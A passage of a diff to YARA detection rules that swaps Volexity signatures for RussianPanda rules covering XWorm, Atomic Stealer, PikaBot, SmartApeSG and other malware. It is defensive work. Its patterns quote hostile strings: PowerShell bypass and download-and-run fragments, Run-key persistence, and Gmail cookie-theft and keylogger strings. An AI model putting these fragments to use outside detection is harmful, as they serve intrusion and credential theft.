+		modified = "2023-12-11"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/AndeLoader/ande_loader.yar#L3-L18"
+		license_url = "N/A"
+		logic_hash = "cd55153077e5cfbd84cbe5b062dbd842def245417acfea4ed6c2b1db702dcc81"
 		score = 75
-		quality = 80
-		tags = "INKYSQUID"
-		hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 83
+		tags = ""
 
 	strings:
-		$s1 = "\"\".join(chr(ord(" ascii
-		$s2 = "import ctypes " ascii
-		$s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
-		$s4 = "ctypes.memmove" ascii
-		$s5 = "python ended" ascii
+		$s1 = {59 61 6E 6F 41 74 74 72 69 62 75 74 65}
+		$s2 = "CreateShortcut" wide
+		$s3 = ".vbs" wide
 
 	condition:
-		all of them
+		3 of ($s*) and pe.imports("mscoree.dll")
 }
-rule VOLEXITY_Apt_Win_Decrok : INKYSQUID
+rule RUSSIANPANDA_Workersdevbackdoor_PS : FILE
 {
 	meta:
-		description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
-		author = "threatintel@volexity.com"
-		id = "dc83843d-fd2a-52f1-82e8-8e36b135a0c5"
-		date = "2021-06-23"
-		modified = "2021-09-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L47-L67"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
-		logic_hash = "47fa03e95ac17ba7195858cd63b1769e5d56ab8a5edf872b345989b767050b87"
+		description = "Detects WorkersDevBackdoor PowerShell script"
+		author = "RussianPanda"
+		id = "d2b526c1-a9f5-57de-818c-99b02e778a0d"
+		date = "2023-12-15"
+		modified = "2023-12-15"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/WorkersDevBackdoor/WorkersDevBackdoor_PS.yar#L1-L18"
+		license_url = "N/A"
+		logic_hash = "c71eed8fd7a44f3018150cc6ef55d10779093ed8e4c77fd9babcf9b1b9fadfda"
 		score = 75
-		quality = 80
-		tags = "INKYSQUID"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
-		$av1 = "Select * From AntiVirusProduct" wide
-		$av2 = "root\\SecurityCenter2" wide
-		$funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }
+		$s1 = "sleep" wide
+		$s2 = "convertto-securestring" wide
+		$s3 = "System.Drawing.dll" wide
+		$s4 = "System.Web.Extensions.dll" wide
+		$s5 = "System.Windows.Forms.dll" wide
+		$s6 = "CSharp" wide
 
 	condition:
-		all of them
+		all of ($s*) and filesize <200KB
 }
-rule VOLEXITY_Apt_Win_Rokload : INKYSQUID
+import "pe"
+
+rule RUSSIANPANDA_Workersdevbackdoor : FILE
 {
 	meta:
-		description = "A shellcode loader used to decrypt and run an embedded executable."
-		author = "threatintel@volexity.com"
-		id = "229dbf3c-1538-5ecd-b5f8-8c9a9c81c515"
-		date = "2021-06-23"
-		modified = "2021-09-02"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L69-L83"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
-		logic_hash = "8d65d32fd5bc055ca0e3831d3db88299e7c99f8547a170d3c53ec2c4001496a3"
+		description = "Detects WorkersDevBackdoor"
+		author = "RussianPanda"
+		id = "725e0924-c108-5927-8d27-e4bc5b284883"
+		date = "2023-12-15"
+		modified = "2024-01-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/WorkersDevBackdoor/WorkDevBackdoor.yar#L3-L20"
+		license_url = "N/A"
+		logic_hash = "f92ad9dc657d87a47e539ea2ee896f9b86bb95e51a890a838c6e6b0efa5deb7d"
 		score = 75
-		quality = 80
-		tags = "INKYSQUID"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }
+		$s1 = {72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 20 00 7B 00 30 00 7D 00 20 00 7B 00 31 00 7D}
+		$s2 = {72 FB 00 00 70 72 13 01 00 70 28 20 00 00 0A 72 2D 01 00 70}
+		$s3 = {55 00 53 00 45 00 52 00 44 00 4F 00 4D 00 41 00 49 00 4E}
+		$s4 = {43 00 4F 00 4D 00 50 00 55 00 54 00 45 00 52 00 4E 00 41 00 4D 00 45}
 
 	condition:
-		$bytes00 at 0
+		3 of ($s*) and pe.imports("mscoree.dll") and filesize <2MB
 }
-import "pe"
-
-rule VOLEXITY_Apt_Win_Flipflop_Ldr : APT29
+rule RUSSIANPANDA_Smartapesg_JS_Netsupportrat_Stage2 : FILE
 {
 	meta:
-		description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
-		author = "threatintel@volexity.com"
-		id = "58696a6f-55a9-5212-9372-a539cc327e6b"
-		date = "2021-05-25"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L3-L19"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330"
-		logic_hash = "a79d2b0700ae14f7a2af23c8f7df3df3564402b1137478008ccabefea0f543ad"
+		description = "Detects SmartApeSG JavaScript Stage 2 retrieving NetSupportRAT"
+		author = "RussianPanda"
+		id = "2a614e11-be32-5bf1-9fd1-da224f0a644e"
+		date = "2024-01-11"
+		modified = "2024-01-12"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SmartApeSG/SmartApeSG_JS_NetSupportRAT_stage2.yar#L1-L23"
+		license_url = "N/A"
+		hash = "67d8f84b37732cf85e05b327ad6b6a9f"
+		logic_hash = "5a2afaa14d513e0a3c4e52acfb433e53a4541983a05d15318a217c14dc06453c"
 		score = 75
-		quality = 80
-		tags = "APT29"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "irnjadle"
-		$s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
-		$s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."
+		$x1 = "powershell.exe -Ex Bypass -NoP -C $"
+		$x2 = "Get-Random -Minimum -1000 -Maximum 1000"
+		$s1 = "HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"
+		$s2 = "=new ActiveXObject('W"
+		$s3 = "System.Net.WebClient).DownloadString($"
+		$s4 = "FromBase64String"
+		$s5 = "Start-Process -FilePath $"
 
 	condition:
-		all of ($s*)
+		filesize <1MB and ((1 of ($x*) and 3 of them ) or 5 of them )
 }
-import "pe"
-
-rule VOLEXITY_Trojan_Win_Cobaltstrike : COMMODITY
+rule RUSSIANPANDA_Smartapesg_JS_Dropper_Stage1 : FILE
 {
 	meta:
-		description = "The CobaltStrike malware family."
-		author = "threatintel@volexity.com"
-		id = "113ba304-261f-5c59-bc56-57515c239b6d"
-		date = "2021-05-25"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L21-L41"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
-		logic_hash = "1e8a68050ff25f77e903af2e0a85579be1af77c64684e42e8f357eee4ae59377"
+		description = "Detects SmartApeSG initial JavaScript file"
+		author = "RussianPanda"
+		id = "9513f323-c315-5ae2-92a5-c831d0a7ce2a"
+		date = "2024-01-11"
+		modified = "2024-01-11"
+		reference = "https://medium.com/walmartglobaltech/smartapesg-4605157a5b80"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SmartApeSG/SmartApeSG_JS_dropper_stage1.yar#L1-L18"
+		license_url = "N/A"
+		hash = "8769d9ebcf14b24a657532cd96f9520f54aa0e799399d840285311dfebe3fb15"
+		logic_hash = "de7e4ec30c780699b46de7baf2a916fdb7331da2ee7c2d637422ea664cd03b82"
 		score = 75
-		quality = 80
-		tags = "COMMODITY"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "%s (admin)" fullword
-		$s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
-		$s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
-		$s4 = "%s as %s\\%s: %d" fullword
-		$s5 = "%s&%s=%s" fullword
-		$s6 = "rijndael" fullword
-		$s7 = "(null)"
+		$a1 = "'GE'+'T'"
+		$a2 = "'GE','T'"
+		$s1 = "pt.Creat"
+		$s2 = "L2.ServerX"
+		$s3 = "ponseText"
+		$s4 = "MLHTTP.6.0"
+		$s5 = /\/news\.php\?([0-9]|[1-9][0-9]|100)/
 
 	condition:
-		all of them
+		all of ($s*) and filesize <1MB and any of ($a*)
 }
-import "pe"
-
-rule VOLEXITY_Apt_Win_Freshfire : APT29
+rule RUSSIANPANDA_Truecrypt_Crypter : FILE
 {
 	meta:
-		description = "The FRESHFIRE malware family. The malware acts as a downloader, pulling down an encrypted snippet of code from a remote source, executing it, and deleting it from the remote server."
-		author = "threatintel@volexity.com"
-		id = "050b8e61-139a-5ff5-998a-7de67c9975bf"
-		date = "2021-05-27"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L43-L67"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "ad67aaa50fd60d02f1378b4155f69cffa9591eaeb80523489a2355512cc30e8c"
-		logic_hash = "69cd73f5812ba955c1352fb1552774d5cf49019d6b65a304fd1e33f852e678ba"
+		description = "Detects TrueCrypt crypter"
+		author = "RussianPanda"
+		id = "3ecf9c2f-6205-5e55-83a5-2b4e3ba89f07"
+		date = "2024-01-06"
+		modified = "2024-01-06"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/TrueCrypt/truecrypt_crypter.yar#L1-L27"
+		license_url = "N/A"
+		hash = "167637397fb45ea19bafcf208d8f27dceec82caa7ab19d40ecdb08eb1b7d4f60"
+		logic_hash = "68612c68053e9fb81d9616c04b04ac2e2cb685f3b7ed71f8b31e8f22e3a539e7"
 		score = 75
-		quality = 80
-		tags = "APT29"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$uniq1 = "UlswcXJJWhtHIHrVqWJJ"
-		$uniq2 = "gyibvmt\x00"
-		$path1 = "root/time/%d/%s.json"
-		$path2 = "C:\\dell.sdr"
-		$path3 = "root/data/%d/%s.json"
+		$s1_crpt1 = {77 69 6E 65 5F 67 65 74}
+		$s2_crpt1 = {49 3B 66 10 76}
+		$s2_crpt2 = {3B 55 48 89 E5 48 83 EC 10 90 8B 0D [22] E8 [3] FF}
+		$s3_crpt1 = {49 3B 66 10 76 43}
+		$s3_crpt2 = {55 48 89 E5 48 83 EC 10 [5] E8 [4] 48 85 FF 75 18}
+		$s4_crpt1 = {40 C0 EE 04 [16] 48 83}
+		$s4_crpt2 = {FA 20 [0-22] 48 83 FE 20}
+		$a_crpt = {61 2E 6F 75 74 2E 65 78 65 00 5F 63 67}
+		$s_crpt = {6F 5F 64 75 6D 6D 79 5F 65 78 70 6F 72 74}
 
 	condition:
-		(pe.number_of_exports==1 and pe.exports("WaitPrompt")) or any of ($uniq*) or 2 of ($path*)
+		uint16(0)==0x5A4D and $s1_crpt1 and $s2_crpt1 and $s2_crpt2 and $s3_crpt1 and $s3_crpt2 and $s4_crpt1 and $s4_crpt2 and $a_crpt and $s_crpt and filesize <7MB
 }
-rule VOLEXITY_Apt_Win_Bluelight_B : INKYSQUID
+rule RUSSIANPANDA_Win_Mal_Xworm : FILE
 {
 	meta:
-		description = "North Korean origin malware which uses a custom Google App for c2 communications."
-		author = "threatintel@volexity.com"
-		id = "8dc51d15-d0ca-5307-ac00-5b20e4900655"
-		date = "2021-06-21"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-17 - InkySquid Part 1/indicators/yara.yar#L1-L100"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "a6e83ca2ae15f1a7819f065449f84166da401739d091565605d62ebba3d47a50"
+		description = "Detects XWorm RAT"
+		author = "RussianPanda"
+		id = "5701f382-3c97-5a00-9673-6c39b0f11cc2"
+		date = "2024-03-11"
+		modified = "2024-03-11"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/XWorm/win_mal_XWorm.yar#L1-L15"
+		license_url = "N/A"
+		hash = "fc422800144383ef6e2e0eee37e7d6ba"
+		logic_hash = "c42544285517dc61628e8df2ee5ab6733924fbb2cc08b9b2df273eec0a401d90"
 		score = 75
-		quality = 55
-		tags = "INKYSQUID"
-		hash1 = "837eaf7b736583497afb8bbdb527f70577901eff04cc69d807983b233524bfed"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$magic = "host_name: %ls, cookie_name: %s, cookie: %s, CT: %llu, ET: %llu, value: %s, path: %ls, secu: %d, http: %d, last: %llu, has: %d"
-		$f1 = "%ls.INTEG.RAW" wide
-		$f2 = "edb.chk" ascii
-		$f3 = "edb.log" ascii
-		$f4 = "edbres00001.jrs" ascii
-		$f5 = "edbres00002.jrs" ascii
-		$f6 = "edbtmp.log" ascii
-		$f7 = "cheV01.dat" ascii
-		$chrome1 = "Failed to get chrome cookie"
-		$chrome2 = "mail.google.com, cookie_name: OSID"
-		$chrome3 = ".google.com, cookie_name: SID,"
-		$chrome4 = ".google.com, cookie_name: __Secure-3PSID,"
-		$chrome5 = "Failed to get Edge cookie"
-		$chrome6 = "google.com, cookie_name: SID,"
-		$chrome7 = "google.com, cookie_name: __Secure-3PSID,"
-		$chrome8 = "Failed to get New Edge cookie"
-		$chrome9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"
-		$chrome10 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
-		$chrome11 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
-		$chrome12 = "https://mail.google.com"
-		$chrome13 = "result.html"
-		$chrome14 = "GM_ACTION_TOKEN"
-		$chrome15 = "GM_ID_KEY="
-		$chrome16 = "/mail/u/0/?ik=%s&at=%s&view=up&act=prefs"
-		$chrome17 = "p_bx_ie=1"
-		$chrome18 = "myaccount.google.com, cookie_name: OSID"
-		$chrome19 = "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
-		$chrome20 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
-		$chrome21 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
-		$chrome22 = "https://myaccount.google.com"
-		$chrome23 = "result.html"
-		$chrome24 = "myaccount.google.com"
-		$chrome25 = "/_/AccountSettingsUi/data/batchexecute"
-		$chrome26 = "f.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at="
-		$chrome27 = "response.html"
-		$msg1 = "https_status is %s"
-		$msg2 = "Success to find GM_ACTION_TOKEN and GM_ID_KEY"
-		$msg3 = "Failed to find GM_ACTION_TOKEN and GM_ID_KEY"
-		$msg4 = "Failed HttpSendRequest to mail.google.com"
-		$msg5 = "Success to enable imap"
-		$msg6 = "Failed to enable imap"
-		$msg7 = "Success to find SNlM0e"
-		$msg8 = "Failed to find SNlM0e"
-		$msg9 = "Failed HttpSendRequest to myaccount.google.com"
-		$msg10 = "Success to enable thunder access"
-		$msg11 = "Failed to enable thunder access"
-		$keylogger_component1 = "[TAB]"
-		$keylogger_component2 = "[RETURN]"
-		$keylogger_component3 = "PAUSE"
-		$keylogger_component4 = "[ESC]"
-		$keylogger_component5 = "[PAGE UP]"
-		$keylogger_component6 = "[PAGE DOWN]"
-		$keylogger_component7 = "[END]"
-		$keylogger_component8 = "[HOME]"
-		$keylogger_component9 = "[ARROW LEFT]"
-		$keylogger_component10 = "[ARROW UP]"
-		$keylogger_component11 = "[ARROW RIGHT]"
-		$keylogger_component12 = "[ARROW DOWN]"
-		$keylogger_component13 = "[INS]"
-		$keylogger_component14 = "[DEL]"
-		$keylogger_component15 = "[WIN]"
-		$keylogger_component16 = "[NUM *]"
-		$keylogger_component17 = "[NUM +]"
-		$keylogger_component18 = "[NUM ,]"
-		$keylogger_component19 = "[NUM -]"
-		$keylogger_component20 = "[NUM .]"
-		$keylogger_component21 = "NUM /]"
-		$keylogger_component22 = "[NUMLOCK]"
-		$keylogger_component23 = "[SCROLLLOCK]"
-		$keylogger_component24 = "Time: "
-		$keylogger_component25 = "Window: "
-		$keylogger_component26 = "CAPSLOCK+"
-		$keylogger_component27 = "SHIFT+"
-		$keylogger_component28 = "CTRL+"
-		$keylogger_component29 = "ALT+"
+		$s1 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
+		$s2 = {50 00 6C 00 75 00 67 00 69 00 6E 00 73 00 20 00 52 00 65 00 6D 00 6F 00 76 00 65 00 64 00 21}
+		$s3 = {73 00 65 00 6E 00 64 00 50 00 6C 00 75 00 67 00 69 00 6E}
+		$s4 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
+		$s5 = "_CorExeMain"
 
 	condition:
-		$magic or ( all of ($f*) and 5 of ($keylogger_component*)) or 24 of ($chrome*) or 4 of ($msg*) or 27 of ($keylogger_component*)
+		uint16(0)==0x5A4D and all of them
 }
-rule VOLEXITY_Apt_Win_Bluelight : INKYSQUID
+rule RUSSIANPANDA_Atomic_Stealer : FILE
 {
 	meta:
-		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
-		author = "threatintel@volexity.com"
-		id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"
-		date = "2021-04-23"
-		modified = "2021-09-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2021/2021-08-17 - InkySquid Part 1/indicators/yara.yar#L102-L132"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "52589348f42aadbe453ad8a40ac36b58fcc9e07cd298486f09b6f793823d8cc7"
+		description = "Detects Atomic Stealer targering MacOS"
+		author = "RussianPanda"
+		id = "259c5c33-0164-568f-aec4-4fe0a2c6d015"
+		date = "2024-01-13"
+		modified = "2024-01-17"
+		reference = "https://www.bleepingcomputer.com/news/security/macos-info-stealers-quickly-evolve-to-evade-xprotect-detection/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/AtomicStealer/Atomic_Stealer.yar#L1-L27"
+		license_url = "N/A"
+		hash = "dd8aa38c7f06cb1c12a4d2c0927b6107"
+		logic_hash = "7601e508aeccba943b54e675212993920c984271f655e68c19efaf6d12cfebd5"
 		score = 75
-		quality = 80
-		tags = "INKYSQUID"
-		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
-		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 58
+		tags = "FILE"
 
 	strings:
-		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
-		$pdb2 = "Release\\bluelight.pdb"
-		$msg0 = "https://ipinfo.io" fullword
-		$msg1 = "country" fullword
-		$msg5 = "\"UserName\":\"" fullword
-		$msg7 = "\"ComName\":\"" fullword
-		$msg8 = "\"OS\":\"" fullword
-		$msg9 = "\"OnlineIP\":\"" fullword
-		$msg10 = "\"LocalIP\":\"" fullword
-		$msg11 = "\"Time\":\"" fullword
-		$msg12 = "\"Compiled\":\"" fullword
-		$msg13 = "\"Process Level\":\"" fullword
-		$msg14 = "\"AntiVirus\":\"" fullword
-		$msg15 = "\"VM\":\"" fullword
+		$s1 = {8B 09 83 C1 (01|02|04|05|03) 39 C8 0F 85 38 00 00 00 48 8B 85}
+		$s2 = {C7 40 04 00 00 00 00 C6 40 08 00 C6 40 09 00}
+		$t1 = {80 75 D?}
+		$t2 = {0F 57 05 ?? 1B 01 00}
+		$t3 = {8A 06 34 DE 88 07 8A 46 01 34 DF 88 47 01}
+		$c1 = {28 ?? 40 39}
+		$c2 = {64 65 73 6B 77 61 6C 6C 65 74 73}
 
 	condition:
-		any of ($pdb*) or all of ($msg*)
+		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca) and all of ($s*) and #s1>60 and #s2>100 or ( all of ($t*) and #t1>10 and #t2>5) or (#c1>200 and $c2)
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Modules : UTA0137 FILE MEMORY
+rule RUSSIANPANDA_Pikabot_1 : FILE
 {
 	meta:
-		description = "Detects DISGOMOJI modules based on strings in the ELF."
-		author = "threatintel@volexity.com"
-		id = "b9e4ecdc-9b02-546f-9b79-947cb6b1f99a"
-		date = "2024-02-22"
-		modified = "2024-02-27"
-		reference = "TIB-20240228"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L1-L23"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "7880288e3230b688b780bdfbac2b0761fd7831b7df233672c2242c21a86e1297"
+		description = "Detects PikaBot"
+		author = "RussianPanda"
+		id = "e740b821-69cc-5053-9f90-439b4364656f"
+		date = "2024-01-02"
+		modified = "2024-01-02"
+		reference = "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/PikaBot/Pikabot_1-2-2024.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "f2dd26c23aba72c2b6b959fb411381b7d3a7466f94bf5259f57e96e44d3ee153"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE, MEMORY"
-		hash1 = "2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10270
-		version = 3
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go" wide ascii
-		$s2 = "discord-c2/test/main/finalizing/WAN_Conf.go" wide ascii
+		$s1 = {8A 04 11 30 02 42 83 EE 01 75 F5 5E C3}
+		$s2 = {C0 E9 02 C0 E0 04 [13] C0 E2 06 02 D0}
+		$s3 = {8D 53 BF 80 FA 19 0F B6 C3}
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and 2 of ($s*) and filesize <500KB
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Loader : UTA0137 FILE MEMORY
+rule RUSSIANPANDA_Win_Mal_Rustydropper : FILE
 {
 	meta:
-		description = "Detects the DISGOMOJI loader using strings in the ELF."
-		author = "threatintel@volexity.com"
-		id = "6d7848db-f1a5-5ccc-977a-7597b966a31c"
-		date = "2024-02-22"
-		modified = "2024-02-27"
-		reference = "TIB-20240228"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L25-L46"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "d9be4846bab5fffcfd60eaec377443819404f30ec088905c2ee26bd3b7525832"
+		description = "Detects RustyDropper"
+		author = "RussianPanda"
+		id = "9f217080-81e0-547a-9336-cf8ac2fadf36"
+		date = "2024-03-01"
+		modified = "2024-03-01"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/RustyDropper/win_mal_RustyDropper.yar#L1-L12"
+		license_url = "N/A"
+		hash = "a3a5e7011335a2284e2d4f73fd464ff129f0c9276878a054c1932bc50608584b"
+		logic_hash = "d0c76bcd1af63cc1b1fbabc3fa33e6caafd7d9c7c3780a94a1ed37eadef655d7"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE, MEMORY"
-		hash1 = "51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10269
-		version = 3
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$s1 = "discord-c2/test/main/delievery.go" wide ascii
+		$s1 = {47 3a 5c 52 55 53 54 5f 44 52 4f 50 50 45 52 5f 45 58 45 5f 50 41 59 4c 4f 41 44 5c 44 52 4f 50 50 45 52 5f 4d 41 49 4e 5c}
+		$s2 = {46 45 41 54 55 52 45 5f 42 52 4f 57 53 45 52 5f 45 4d 55 4c 41 54 49 4f 4e}
 
 	condition:
-		$s1
+		uint16(0)==0x5A4D and all of them
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Debug_String : UTA0137 FILE MEMORY
+rule RUSSIANPANDA_Meduzastealer : FILE
 {
 	meta:
-		description = "Detects the DISGOMOJI malware using strings in the ELF."
-		author = "threatintel@volexity.com"
-		id = "a1bbf285-a8ad-5877-ae2a-a7dd5e61cf46"
-		date = "2024-02-22"
-		modified = "2024-02-27"
-		reference = "TIB-20240228"
